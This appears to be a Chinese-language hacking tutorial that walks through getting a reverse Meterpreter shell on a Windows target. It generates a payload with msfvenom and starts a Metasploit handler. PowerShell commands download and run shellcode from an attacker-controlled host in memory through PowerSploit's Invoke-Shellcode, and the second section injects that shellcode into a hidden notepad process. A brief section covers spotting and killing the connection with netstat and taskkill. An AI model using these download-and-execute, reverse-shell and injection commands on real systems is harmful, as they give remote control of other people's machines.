一、直接执行ShellCode反弹Meterpreter Shell
1. 设置msf
Msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https (一定要选择对应的位数,x64)
set LHOST 192.168.101.46
set LPORT 4444
Run
2. 生成powershell脚本木马
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.101.46 LPORT=4444 -f powershell -o /var/www/html/test3
3. 在目标机powershell执行以下命令
IEX(New-Object Net.WebClient).DownloadString("http://192.168.101.46/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") #该命令将Invoke-Shellcode.psl脚本加载到内存,并未下载到本地
IEX(New-Object Net.WebClient).DownloadString("http://192.168.101.46/test3")
Invoke-Shellcode -Shellcode ($buf) -Force
备注:在执行上面的powershell脚本时,360报毒!!!
看msf控制台,发现反弹连接已经建立
4. 利用反弹连接
Sessions -i 1
ipconfig可以看出已经进入目标机器
5. 反向思维
在目标机器上执行应急响应的进程分析-可疑进程发现与关闭
计算机与外部网络通信是建立在TCP或UDP协议上的,并且每一次通信都是具有不同的端口(0-65535)。如果计算机被木马后,肯定会与外部网络通信,那么此时就可以通过查看网络连接状态,找到对应的进程ID,然后关闭进程ID就可以关闭连接状态。
netstat -ano |find "ESTABLISHED" 查看网络建立连接状态
tasklist /svc | find "PID" 查看具体PID进程对应的程序
taskkill /PID pid值 /T 关闭进程
二、指定进程注入ShellCode反弹Meterpreter Shell
1. 下载Invoke-Shellcode脚本
IEX(New-Object Net.WebClient).DownloadString("http://192.168.101.46/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
2. 下载生成的shellcode脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.101.46/test3")
3. 启动一个notepad的进程
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
4. 查notepad的进程号
PS C:\Users\Administrator> Get-Process -Name "notepad"
5. 使用Invoke-Shellcode脚本进行进程注入
Invoke-Shellcode -ProcessID 2420 -Shellcode($buf) -Force